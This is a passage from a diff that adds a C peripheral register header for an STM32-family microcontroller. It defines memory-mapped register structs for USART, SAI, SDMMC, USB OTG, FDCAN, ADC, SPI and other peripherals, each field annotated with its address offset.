__IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t 